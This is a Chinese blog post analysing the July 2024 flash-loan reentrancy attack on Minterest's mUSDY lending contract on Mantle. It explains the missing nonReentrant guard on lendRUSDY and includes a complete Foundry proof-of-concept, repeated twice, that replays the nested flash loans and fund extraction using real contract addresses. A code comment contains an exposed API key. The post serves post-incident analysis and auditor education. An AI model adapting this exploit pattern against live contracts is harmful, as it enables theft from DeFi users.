Minterest合约攻击详解

黑梨888
更新于 2024-08-21 19:26
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基本信息7月15在mantle链上发生了一起针对Minterest合约的攻击，共损失1.4M。我对这次攻击思路进行了整理，并完成一份PoC。

## 基本信息
7月15在mantle链上发生了一起针对Minterest合约的攻击，共损失1.4M。我对这次攻击思路进行了整理，并完成一份PoC。
twitter信息：
https://x.com/CertiKAlert/status/1812692551012679864
mudsy的lendUSDY方法（漏洞代码）：https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code
攻击交易：
https://app.blocksec.com/explorer/tx/mantle/0xb3c4c313a8d3e2843c9e6e313b199d7339211cdc70c2eca9f4d88b1e155fd6bd?line=28
## 攻击概述
### musdy合约是什么
我们访问musdy在mantlescan上的数据https://mantlescan.info/address/0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c/contract/5000/writeContract 可以发现，musdy合约本身支持多种金融工具：
- Lending
- Borrow
- flashloan
### musdy的缺陷
项目方可能是为了提高资金的利用率，所以把借贷和闪电贷放到同一个合约池子里运营。由于lending使用的lendRUSDY没有加重入锁（其他方法都加了“nonReentrant” 修饰符），导致用户可以在flashloan回调方法中再次进入该合约。
而闪电贷本身已经改变了池子中USDY和mUSDY的汇率，再次进入合约中就可以根据改编后的汇率差进行套利。黑客利用lendRUSDY再次进入合约后，是将自己贷款到的USDY进行放贷。由于之前闪电贷已经导致RUSDY变“贵”，此时使用USDY放贷，会得到更多的mToken（mMETH）。当闪电贷结束后USDY和mUSDY的汇率恢复到正常水平，黑客再redeem之前放贷的USDY，由于此时USDY已经变“便宜”，所以只用销毁少量mToken。整个过程中mToken的个数差，就是获利点。
黑客重复上述操作25次，共获利1.4M。
下图是黑客重入的musdy合约的痕迹：
1. 第一次进入在42行，通过闪电贷进入。
2. 第二次进入在78行，在闪电贷回调中，利用lendRUSDY再次进入musdy合约。
![1.png](https://img.learnblockchain.cn/attachments/2024/08/D5xwK2UI66c43e1cbb2fa.png)
## 代码分析
问题代码比较简单，就是lendRUSDY方法的声明中无“nonReentrant”修饰符：
![2.png](https://img.learnblockchain.cn/attachments/2024/08/18AxKADI66c43e457b13b.png)
对比这个合约中的其他重要方法，例如flashloan方法，有重入锁，是安全的：
![3.png](https://img.learnblockchain.cn/attachments/2024/08/eOUwHMMI66c43e5e18eb3.png)
## 攻击图解
![4.png](https://img.learnblockchain.cn/attachments/2024/08/Z01wzana66c43e93b8ef5.png)
攻击步骤如下：
1. 攻击合约首先从其他池子（agni Finance）闪电贷大量的USDY，之所以做第一层闪电贷，是因为实施攻击时，中间环节会需要一定的USDY作为第二层闪电贷的还款。
2. AgniFinance回调攻击合约的还款方法。
3. 在第一层闪电贷回调的方法中，黑客再次调用minterest的musdy合约的闪电贷方法（也就是第二层闪电贷）。
4. 第二层闪电贷回调攻击合约的还款逻辑。
5. 在攻击合约的第二层还款逻辑中，它调用了musdy的lendRUSDY方法，再次进入musdy合约。本身lendRUSDY方法用于借出自己的USDY，铸造大量的mToken。
6. 第二层闪电贷逻辑结束。赎回之前借出的USDY，销毁一定比例的mToken。第五步铸造的mToken量远远大于第六步销毁的mToken量，于是黑客从中获利。
7. 在第一层闪电贷回调逻辑中，黑客重复3-6的操作，直到赚取1.4M。
![5.png](https://img.learnblockchain.cn/attachments/2024/08/LYmRlXZq66c43eb265076.png)
## PoC
我通过在foundry上写PoC，复刻黑客所有步骤，最终盈利WETH 223个，METH150个。
![6.png](https://img.learnblockchain.cn/attachments/2024/08/LujRyEIy66c43ed35e68d.png)
代码如下：

```// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key NGI4DVW2JA83X4WZICZCB7A1N6UTV5IAGH -c mantle  0xe53a90efd263363993a3b41aa29f7dabde1a932d

contract minsterestAttack is Test {
    address usdy=0x5bE26527e817998A7206475496fDE1E68957c5A6;
    address musd=0xab575258d37EaA5C8956EfABe71F4eE8F6397cF3;
    address musdy=0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c;
    address mintProxy=0xe53a90EFd263363993A3B41Aa29f7DaBde1a932D;
    address usdyUdcContract=0xe38E3a804eF845e36F277D86Fb2b24b8C32B3340;
    address mweth=0xfa1444aC7917d6B96Cac8307E97ED9c862E387Be;
    address mmeth=0x5aA322875a7c089c1dB8aE67b6fC5AbD11cf653d;
    address weth=0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111;
    address meth=0xcDA86A272531e8640cD7F1a92c01839911B90bb0;

function setUp() external {
        vm.createSelectFork("https://rpc.mantle.xyz", 66416577 - 1);
        deal(address(usdy), address(this), 436539125289000e6);

}
    function testAttack() external{
        //0. 先打印攻击前账户余额
        console.log("*******************before attack*******************");
        console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
        console.log("METH: ",IERC20(meth).balanceOf(address(this)));

//1. approve musd和musdy合约资金调用。
        IERC20(usdy).approve(musdy,type(uint256).max);
        IERC20(usdy).approve(musd,type(uint256).max);
        IERC20(musd).approve(musdy,type(uint256).max);
        IERC20(musdy).approve(musdy,type(uint256).max);
        address[] memory mTokens=new address[](1);
        mTokens[0]=musdy;
        MintProxy(payable(mintProxy)).enableAsCollateral(mTokens);
        //2. 第一层闪电贷
        uint256 flashAmount=IERC20(usdy).balanceOf(usdyUdcContract);
        iusdyUdcContract(payable(usdyUdcContract)).flash(address(this),0,flashAmount,"");

//3. 借款
        uint256 mweth_balance=IERC20(weth).balanceOf(mweth);
        MintProxy(payable(mweth)).borrow(mweth_balance);
        MintProxy(payable(mmeth)).borrow(150e18);//这个数值我自己试出来的，如果按照交易栈借204个ether会报错，150个ether不会报错。
        //4.先打印攻击后账户余额
        console.log("*******************after attack*******************");
        console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
        console.log("METH: ",IERC20(meth).balanceOf(address(this)));
    }

//第一个闪电贷的回调还款函数
    function agniFlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
        for(uint256 i = 0; i < 25; i++){
            uint256 maxFlashAmount=MintProxy(payable(musdy)).maxFlashLoan(usdy);
            MintProxy(payable(musdy)).flashLoan(address(this),usdy,maxFlashAmount,data);
            MintProxy(payable(musdy)).redeemUnderlying(4265817792016953140101195);//这个数直接抄的交易栈里面的值
        }
        //还款闪电贷
        IERC20(usdy).transfer(usdyUdcContract,4265817792016953140101195);
    }

//第二层闪电贷的回调函数
    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee,bytes calldata data) external returns(bytes32){
        // //wrap musd
         MintProxy(payable(musd)).wrap(4260000000000000000000000);
        //balance of musd in attacker contract
        uint256 balance=IERC20(musd).balanceOf(address(this));  
        //lendrusdy same balance 
        MintProxy(payable(musdy)).lendRUSDY(balance);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");//之所以返回这个值，是因为查看了MUSDY的源代码，flashloan函数会判断onflashloan的返回是不是这个值。MUSDY源代码在：https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code的Mtoken.sol里

}
}
```
## 漏洞总结
1. 虽然网上大部分都说这个是重入问题，但是我一直觉得根本问题不是重入。它和我们常见的重入不一样。常见的重入是由于先转账再记账，中间的空隙用于重入，导致一直没记账，一直转账，直到把池子掏空。虽然加入重入锁可以避免这次的漏洞，但是还是觉得这不是经典重入问题。
2. 我觉得这个合约的问题是既想做闪电贷又想做lending。lending要保证币对汇率的相对稳定性，flashloan又允许瞬时借空池子里面某一种币，不能保证币对汇率的稳定性。这两者的业务需求是冲突的。
3. 作为代码审计人员，还是对没有重入锁的方法多上心吧，各种情况，各种调用组合都要想到。
## reference：
https://github.com/SunWeb3Sec/DeFiHackLabs/blame/main/src/test/2024-07/Minterest_exp.sol 这个poc写的很好
https://x.com/octane_security/status/1814141328420430187 这个推特写的很简单精准。

基本信息

7月15在mantle链上发生了一起针对Minterest合约的攻击，共损失1.4M。我对这次攻击思路进行了整理，并完成一份PoC。 twitter信息： https://x.com/CertiKAlert/status/1812692551012679864 mudsy的lendUSDY方法（漏洞代码）：https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code 攻击交易： https://app.blocksec.com/explorer/tx/mantle/0xb3c4c313a8d3e2843c9e6e313b199d7339211cdc70c2eca9f4d88b1e155fd6bd?line=28

攻击概述

musdy合约是什么

我们访问musdy在mantlescan上的数据https://mantlescan.info/address/0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c/contract/5000/writeContract 可以发现，musdy合约本身支持多种金融工具：

Lending
Borrow
flashloan
musdy的缺陷

项目方可能是为了提高资金的利用率，所以把借贷和闪电贷放到同一个合约池子里运营。由于lending使用的lendRUSDY没有加重入锁（其他方法都加了“nonReentrant” 修饰符），导致用户可以在flashloan回调方法中再次进入该合约。而闪电贷本身已经改变了池子中USDY和mUSDY的汇率，再次进入合约中就可以根据改编后的汇率差进行套利。黑客利用lendRUSDY再次进入合约后，是将自己贷款到的USDY进行放贷。由于之前闪电贷已经导致RUSDY变“贵”，此时使用USDY放贷，会得到更多的mToken（mMETH）。当闪电贷结束后USDY和mUSDY的汇率恢复到正常水平，黑客再redeem之前放贷的USDY，由于此时USDY已经变“便宜”，所以只用销毁少量mToken。整个过程中mToken的个数差，就是获利点。黑客重复上述操作25次，共获利1.4M。下图是黑客重入的musdy合约的痕迹：
1. 第一次进入在42行，通过闪电贷进入。
2. 第二次进入在78行，在闪电贷回调中，利用lendRUSDY再次进入musdy合约。
  代码分析
  
  问题代码比较简单，就是lendRUSDY方法的声明中无“nonReentrant”修饰符：对比这个合约中的其他重要方法，例如flashloan方法，有重入锁，是安全的：
  
  攻击图解
  
  攻击步骤如下：
3. 攻击合约首先从其他池子（agni Finance）闪电贷大量的USDY，之所以做第一层闪电贷，是因为实施攻击时，中间环节会需要一定的USDY作为第二层闪电贷的还款。
4. AgniFinance回调攻击合约的还款方法。
5. 在第一层闪电贷回调的方法中，黑客再次调用minterest的musdy合约的闪电贷方法（也就是第二层闪电贷）。
6. 第二层闪电贷回调攻击合约的还款逻辑。
7. 在攻击合约的第二层还款逻辑中，它调用了musdy的lendRUSDY方法，再次进入musdy合约。本身lendRUSDY方法用于借出自己的USDY，铸造大量的mToken。
8. 第二层闪电贷逻辑结束。赎回之前借出的USDY，销毁一定比例的mToken。第五步铸造的mToken量远远大于第六步销毁的mToken量，于是黑客从中获利。
9. 在第一层闪电贷回调逻辑中，黑客重复3-6的操作，直到赚取1.4M。
  PoC
  
  我通过在foundry上写PoC，复刻黑客所有步骤，最终盈利WETH 223个，METH150个。代码如下：

pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key NGI4DVW2JA83X4WZICZCB7A1N6UTV5IAGH -c mantle  0xe53a90efd263363993a3b41aa29f7dabde1a932d

contract minsterestAttack is Test {
    address usdy=0x5bE26527e817998A7206475496fDE1E68957c5A6;
    address musd=0xab575258d37EaA5C8956EfABe71F4eE8F6397cF3;
    address musdy=0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c;
    address mintProxy=0xe53a90EFd263363993A3B41Aa29f7DaBde1a932D;
    address usdyUdcContract=0xe38E3a804eF845e36F277D86Fb2b24b8C32B3340;
    address mweth=0xfa1444aC7917d6B96Cac8307E97ED9c862E387Be;
    address mmeth=0x5aA322875a7c089c1dB8aE67b6fC5AbD11cf653d;
    address weth=0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111;
    address meth=0xcDA86A272531e8640cD7F1a92c01839911B90bb0;

    function setUp() external {
        vm.createSelectFork("https://rpc.mantle.xyz", 66416577 - 1);
        deal(address(usdy), address(this), 436539125289000e6);

    }
    function testAttack() external{
        //0. 先打印攻击前账户余额
        console.log("*******************before attack*******************");
        console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
        console.log("METH: ",IERC20(meth).balanceOf(address(this)));

        //1. approve musd和musdy合约资金调用。
        IERC20(usdy).approve(musdy,type(uint256).max);
        IERC20(usdy).approve(musd,type(uint256).max);
        IERC20(musd).approve(musdy,type(uint256).max);
        IERC20(musdy).approve(musdy,type(uint256).max);
        address[] memory mTokens=new address[](1);
        mTokens[0]=musdy;
        MintProxy(payable(mintProxy)).enableAsCollateral(mTokens);
        //2. 第一层闪电贷
        uint256 flashAmount=IERC20(usdy).balanceOf(usdyUdcContract);
        iusdyUdcContract(payable(usdyUdcContract)).flash(address(this),0,flashAmount,"");

        //3. 借款
        uint256 mweth_balance=IERC20(weth).balanceOf(mweth);
        MintProxy(payable(mweth)).borrow(mweth_balance);
        MintProxy(payable(mmeth)).borrow(150e18);//这个数值我自己试出来的，如果按照交易栈借204个ether会报错，150个ether不会报错。
        //4.先打印攻击后账户余额
        console.log("*******************after attack*******************");
        console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
        console.log("METH: ",IERC20(meth).balanceOf(address(this)));
    }

    //第一个闪电贷的回调还款函数
    function agniFlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
        for(uint256 i = 0; i &lt; 25; i++){
            uint256 maxFlashAmount=MintProxy(payable(musdy)).maxFlashLoan(usdy);
            MintProxy(payable(musdy)).flashLoan(address(this),usdy,maxFlashAmount,data);
            MintProxy(payable(musdy)).redeemUnderlying(4265817792016953140101195);//这个数直接抄的交易栈里面的值
        }
        //还款闪电贷
        IERC20(usdy).transfer(usdyUdcContract,4265817792016953140101195);
    }

    //第二层闪电贷的回调函数
    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee,bytes calldata data) external returns(bytes32){
        // //wrap musd
         MintProxy(payable(musd)).wrap(4260000000000000000000000);
        //balance of musd in attacker contract
        uint256 balance=IERC20(musd).balanceOf(address(this));  
        //lendrusdy same balance 
        MintProxy(payable(musdy)).lendRUSDY(balance);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");//之所以返回这个值，是因为查看了MUSDY的源代码，flashloan函数会判断onflashloan的返回是不是这个值。MUSDY源代码在：https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code的Mtoken.sol里

    }
}

漏洞总结

虽然网上大部分都说这个是重入问题，但是我一直觉得根本问题不是重入。它和我们常见的重入不一样。常见的重入是由于先转账再记账，中间的空隙用于重入，导致一直没记账，一直转账，直到把池子掏空。虽然加入重入锁可以避免这次的漏洞，但是还是觉得这不是经典重入问题。
我觉得这个合约的问题是既想做闪电贷又想做lending。lending要保证币对汇率的相对稳定性，flashloan又允许瞬时借空池子里面某一种币，不能保证币对汇率的稳定性。这两者的业务需求是冲突的。
作为代码审计人员，还是对没有重入锁的方法多上心吧，各种情况，各种调用组合都要想到。
reference：

https://github.com/SunWeb3Sec/DeFiHackLabs/blame/main/src/test/2024-07/Minterest_exp.sol 这个poc写的很好 https://x.com/octane_security/status/1814141328420430187 这个推特写的很简单精准。